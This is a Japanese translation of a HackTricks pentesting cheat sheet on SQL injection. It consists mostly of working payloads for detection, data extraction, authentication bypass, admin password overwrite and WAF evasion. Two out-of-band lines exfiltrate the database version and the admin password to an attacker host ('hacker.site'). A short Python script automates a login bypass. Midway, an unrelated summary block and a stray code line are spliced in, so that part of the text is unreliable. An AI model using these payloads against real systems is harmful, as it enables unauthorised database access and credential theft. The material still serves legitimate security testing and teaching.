hacktricks/pentesting-web/sql-injection
2024-02-06 03:40:01 +00:00
..
mysql-injection Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:40:01 +00:00
postgresql-injection Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:40:01 +00:00
sqlmap Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:40:01 +00:00
cypher-injection-neo4j.md Translated to Japanese 2023-07-07 23:42:27 +00:00
ms-access-sql-injection.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:17:21 +00:00
mssql-injection.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:40:01 +00:00
oracle-injection.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:40:01 +00:00
README.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:40:01 +00:00
sqlmap.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:17:21 +00:00

SQL インジェクション

☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

SQL インジェクションとは?

SQL インジェクションは、アプリケーションのデータベースクエリに 干渉することを可能にするセキュリティ上の脆弱性です。この脆弱性により、攻撃者は、他のユーザーの情報やアプリケーションがアクセスできるデータを含む、アクセスすべきでないデータを 表示変更、または 削除 することができます。これらの行動は、アプリケーションの機能やコンテンツの永続的な変更、またはサーバーの侵害やサービスの拒否にさえつながる可能性があります。

エントリーポイントの検出

サイトが SQL インジェクションSQLi に脆弱であるように見える場合、SQLi 関連の入力に対するサーバーの異常な応答により、最初のステップは、クエリにデータを 挿入する方法を理解し、それを 妨げることなく行うことです。これには、現在のコンテキストから 効果的に脱出する方法を特定する必要があります。 以下は、いくつかの有用な例です:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

次に、クエリを修正してエラーが発生しないようにする方法を知る必要があります。クエリを修正するためには、新しいデータを入力して以前のクエリが新しいデータを受け入れるようにするか、単にデータを入力してコメント記号を末尾に追加することができます。

クエリが機能しているときと機能していないときにエラーメッセージを見ることができるか、違いを見つけることができる場合、このフェーズはより簡単になります。

コメント

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

論理演算で確認

SQLインジェクションの脆弱性を確認する信頼性の高い方法は、論理演算を実行し、期待される結果を観察することです。たとえば、?username=PeterというGETパラメータが、?username=Peter' or '1'='1に変更されたときに同一のコンテンツを生成する場合、SQLインジェクションの脆弱性が示唆されます。

同様に、数学演算の適用は効果的な確認手法として機能します。たとえば、?id=1にアクセスした場合と?id=2-1にアクセスした場合に同じ結果が生成される場合、SQLインジェクションの兆候となります。

論理演算による確認を示す例:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

このワードリストは、提案された方法でSQLインジェクションを確認しようと作成されました:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

タイミングでの確認

場合によっては、テストしているページに変化に気づかないことがあります。そのため、ブラインドSQLインジェクションを発見する良い方法は、DBにアクションを実行させ、ページの読み込みに時間がかかるようにすることです。
したがって、SQLクエリに、完了に多くの時間がかかる操作を連結することになります

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

いくつかの場合、sleep関数を許可されないことがあります。その場合、これらの関数を使用する代わりに、複雑な操作を実行させて、数秒かかるクエリを作成することができます。これらのテクニックの例は、各技術ごとに別々にコメントされます

バックエンドの特定

バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションのsleep関数またはこれらの関数を使用できます(payloadsallthethingsのテーブルから:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

また、クエリの出力にアクセスできる場合は、データベースのバージョンを表示させることができます

{% hint style="info" %} 続けて、異なる種類のSQLインジェクションを悪用するための異なる方法について説明します。例としてMySQLを使用します。 {% endhint %}

PortSwiggerを使用した識別

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Union Basedの悪用

列の数を検出する

クエリの出力を見ることができれば、これが悪用する最良の方法です。
まず、初期リクエストが返す列の数を見つける必要があります。これは両方のクエリが同じ列数を返す必要があるためです。
この目的には通常、次の2つの方法が使用されます。

Order/Group by

クエリの列数を特定するには、ORDER BYまたはGROUP BY句で使用される数値を段階的に調整し、誤った応答が受信されるまで増やします。SQL内でGROUP BYORDER BYの異なる機能があるにもかかわらず、両方を同様に使用してクエリの列数を確認できます。

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

クエリが正しい値を返すまで、さらに多くの null 値を選択します:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

いくつかのケースでは、クエリの両側の列の型が同じである必要があるため、null値を使用する必要があります。

データベース名、テーブル名、列名を抽出

次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの列名を取得します:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

異なるデータベースごとにこのデータを発見する異なる方法がありますが、常に同じ方法論です。

隠れたユニオンベースの悪用

クエリの出力が見えるが、ユニオンベースのインジェクションが達成不可能に見える場合、隠れたユニオンベースのインジェクションが存在することを示します。このシナリオはしばしば盲目的なインジェクション状況につながります。盲目的なインジェクションをユニオンベースに変換するには、バックエンドでの実行クエリを識別する必要があります。

これは、対象のデータベース管理システムDBMSに固有のデフォルトテーブルとともに盲目的なインジェクション技術を使用して達成できます。これらのデフォルトテーブルを理解するには、対象DBMSのドキュメントを参照することが推奨されます。

クエリを抽出したら、ペイロードを調整して元のクエリを安全に閉じる必要があります。その後、ペイロードにユニオンクエリを追加することで、新たにアクセス可能になったユニオンベースのインジェクションを悪用できます。

より包括的な洞察を得るには、Healing Blind Injectionsで利用可能な完全な記事を参照してください。

エラーベースの悪用

何らかの理由でクエリの出力見ることができないが、エラーメッセージを見ることができる場合、これらのエラーメッセージを使用してデータベースからデータを外部に持ち出すことができます。
ユニオンベースの悪用と同様の流れに従うことで、DBをダンプすることができます。

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLiの悪用

この場合、クエリの結果やエラーを見ることはできませんが、ページに異なるコンテンツが表示されるため、クエリがtrueまたはfalseの応答を返すと区別できます。
この場合、その動作を悪用してデータベースを1文字ずつダンプすることができます。

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

エラー盲目SQLiの悪用

これは以前と同じケースですが、クエリからの真偽の応答を区別する代わりに、SQLクエリのエラーの有無おそらくHTTPサーバーがクラッシュするためを区別できます。したがって、この場合、文字を正しく推測するたびにSQLエラーを強制することができます。

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

タイムベースのSQLiの悪用

この場合、クエリの応答をページのコンテキストに基づいて区別する方法はありません。しかし、推測された文字が正しい場合、ページの読み込みに時間がかかるようにすることができます。これは、すでにSQLi脆弱性を確認するために使用されているテクニックで見てきました。

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

スタックされたクエリ

スタックされたクエリを使用して、連続して複数のクエリを実行できます。後続のクエリが実行される間、結果はアプリケーションに返されないことに注意してください。したがって、このテクニックは主にブラインド脆弱性に関連して使用され、第二のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。

Oracleスタックされたクエリをサポートしていません。MySQL、Microsoft、およびPostgreSQLはそれらをサポートしています:ここにクエリ1; ここにクエリ2

Out of band Exploitation

他のどの攻撃手法も機能しない場合、データベースから情報を外部ホスト(あなたが制御する)に流出させることを試してみることができます。たとえば、DNSクエリを介して

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXEを利用した外部バンドデータのエクスフィルトレーション

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

自動化された攻撃

sqlmapを使用してSQLi脆弱性を悪用するSQLMapチートシートを確認してください。

テック固有の情報

すでにSQLインジェクション脆弱性を悪用する方法についてすべて説明しました。この書籍では、データベーステクロジーに依存するさらなるトリックを見つけることができます

また、https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injectionには、MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックがあります。

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの1つです。技術的知識の促進を使命とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

認証バイパス

ログイン機能をバイパスしようとするリスト:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

生のハッシュ認証バイパス

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

このクエリは、MD5がtrueで生の出力を使用して認証チェックを行う際の脆弱性を示しています。これにより、システムがSQLインジェクションに対して脆弱になります。攻撃者は、入力を作成して、ハッシュ化すると予期しないSQLコマンドの一部が生成され、不正アクセスが可能になります。

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

インジェクトされたハッシュ認証バイパス

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

推奨リスト:

リストの各行をユーザー名として使用し、常にパスワードとして Pass1234. を使用する必要があります。
(これらのペイロードは、このセクションの冒頭で言及されている大きなリストにも含まれています)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK 認証バイパス

IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Pythonスクリプト

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

ポリグロットインジェクション(マルチコンテキスト)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

挿入ステートメント

既存のオブジェクト/ユーザーのパスワードを変更する

これを行うには、おそらくユーザーの場合は admin として名前が付けられた "マスターオブジェクト" を作成しようとしてください。

  • ユーザー名: AdMIn を作成する(大文字と小文字の組み合わせ)
  • ユーザー名: admin= を作成する
  • SQL Truncation Attack(ユーザー名やメールに 文字数制限 がある場合) --> 名前が admin [たくさんのスペース] a のユーザーを作成する

SQL Truncation Attack

データベースが脆弱で、ユーザー名の最大文字数が例えば30であり、ユーザー admin に成りすます場合、"admin [30スペース] a" というユーザー名を作成してください。そして任意のパスワードを設定します。

データベースは、導入された ユーザー名 がデータベース内に存在するかどうかを 確認 します。もし存在しない場合、ユーザー名許可された最大文字数切り取り(この場合は "admin [25スペース]" に)その後、末尾のすべてのスペースを自動的に削除してデータベース内のユーザー "admin" の 新しいパスワードを更新します(エラーが発生することがありますが、これが機能していないということではありません)。

詳細情報: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなりました。比較は引き続きデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックについての詳細情報はこちら: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL 挿入時の時間ベースのチェック

VALUESステートメントを終了するために ','','' を追加してください。遅延が発生した場合、SQLインジェクションが発生しています。

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQLのON DUPLICATE KEY UPDATE句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値が挿入されようとした場合に、データベースが取るべきアクションを指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています

例:インジェクションペイロード

インジェクションペイロードは、usersテーブルに2つの行を挿入しようとするように作成されるかもしれません。最初の行はデコイであり、2番目の行は既存の管理者のメールアドレスを対象としてパスワードを更新することを意図しています。

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

こういう仕組みです:

  • クエリは2つの行を挿入しようとします1つは generic_user@example.com 用で、もう1つは admin_generic@example.com 用です。
  • もし admin_generic@example.com 用の行がすでに存在している場合、ON DUPLICATE KEY UPDATE 句がトリガーされ、MySQLに既存の行の password フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。
  • その結果、認証は admin_generic@example.com を使用して試行でき、bcryptハッシュに対応するパスワードを使用できます"bcrypt_hash_of_newpassword" は新しいパスワードのbcryptハッシュを表し、実際のハッシュに置き換える必要があります

情報の抽出

同時に2つのアカウントを作成する

新しいユーザーとユーザー名、パスワード、メールアドレスを作成しようとするとき:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

10進数または16進数を使用する

このテクニックを使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントを追加する必要はないことに注意することが重要です。

hex2decsubstrを使用する:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイルpentesting-web/sql-injection/README.mdからのものです。


SQL Injection

Description

SQL injection is a common hacking technique used to attack databases through a web application. By inserting malicious SQL code into input fields, an attacker can manipulate the database and potentially access, modify, or delete sensitive data.

Prevention

To prevent SQL injection attacks, web developers should use parameterized queries, input validation, and proper error handling. Additionally, using an ORM (Object-Relational Mapping) library can help mitigate the risk of SQL injection by abstracting database interactions.

Example

Consider a login form where the username and password are entered. An attacker can input ' OR 1=1 -- as the username and ' OR 1=1 -- as the password to bypass authentication and gain unauthorized access.


SQLインジェクション

説明

SQLインジェクションは、Webアプリケーションを介してデータベースを攻撃するために使用される一般的なハッキング技術です。悪意のあるSQLコードを入力フィールドに挿入することで、攻撃者はデータベースを操作し、機密データにアクセスしたり、変更したり、削除したりする可能性があります。

予防方法

SQLインジェクション攻撃を防ぐために、Web開発者はパラメーター化されたクエリ、入力検証、適切なエラーハンドリングを使用する必要があります。さらに、ORMObject-Relational Mappingライブラリを使用することで、データベースの相互作用を抽象化することでSQLインジェクションのリスクを軽減することができます。

ユーザー名とパスワードが入力されるログインフォームを考えてみましょう。攻撃者は、ユーザー名として' OR 1=1 --、パスワードとして' OR 1=1 --を入力することで、認証をバイパスして不正アクセスを行うことができます。

__import__('binascii').unhexlify(hex(215573607263)[2:])

hexreplace(およびsubstr)を使用する:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

ルーテッドSQLインジェクション

ルーテッドSQLインジェクションとは、出力を提供するのではなく、インジェクション可能なクエリの出力が出力を提供するクエリに移動する状況です。(論文より)

例:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF バイパス

ここから初期バイパス

スペースなしバイパス

スペースなし (%20) - 空白の代替手段を使用したバイパス

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - コメントを使用してバイパスする

このテクニックは、SQLインジェクション攻撃時にスペースを回避するために使用されます。SQLクエリ内のスペースを回避するために、SQLコメントを使用してクエリを分割します。これにより、攻撃者はSQLインジェクションを実行するために必要なスペースを回避できます。

例えば、以下のようなSQLクエリがあるとします

SELECT * FROM users WHERE username = 'admin' AND password = 'password123'

このクエリをコメントを使用して分割すると、次のようになります:

SELECT * FROM users WHERE username = 'admin' /*' AND password = 'password123'

このようにすることで、AND password = 'password123' の部分がコメントアウトされ、攻撃者は新しい条件を挿入してSQLインジェクションを実行することができます。

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - パーレンシスを使用してバイパス

このテクニックは、SQLインジェクション攻撃時にスペースを回避するために使用されます。通常、SQL文のキーワードと識別子の間にはスペースが必要ですが、この制約を回避するために、パーレンシスを使用してキーワードと識別子を区別します。

?id=(1)and(1)=(1)--

コンマをバイパスする

オフセット、FROM、JOINを使用してコンマをバイパスします。

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

一般的なバイパス

キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

大文字小文字を区別しないキーワードを使用したブラックリスト - 同等の演算子を使用してバイパス

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

科学表記 WAF バイパス

このトリックの詳細な説明は、gosecure ブログで見つけることができます。
基本的に、WAF をバイパスするために予期しない方法で科学表記を使用できます。

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

カラム名の制限をバイパスする

まず最初に、元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合、単に次のようにすることができます: 0 UNION SELECT * FROM flag

カラム名を使用せずに、テーブルの3番目のカラムにアクセスすることが可能です。次のようなクエリを使用します: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;、したがって、これはsqlinjectionでは次のようになります:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

または、カンマバイパスを使用する:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

このトリックはhttps://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/から取得されました。

WAF バイパス提案ツール

{% embed url="https://github.com/m4ll0k/Atlas" %}

その他のガイド

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥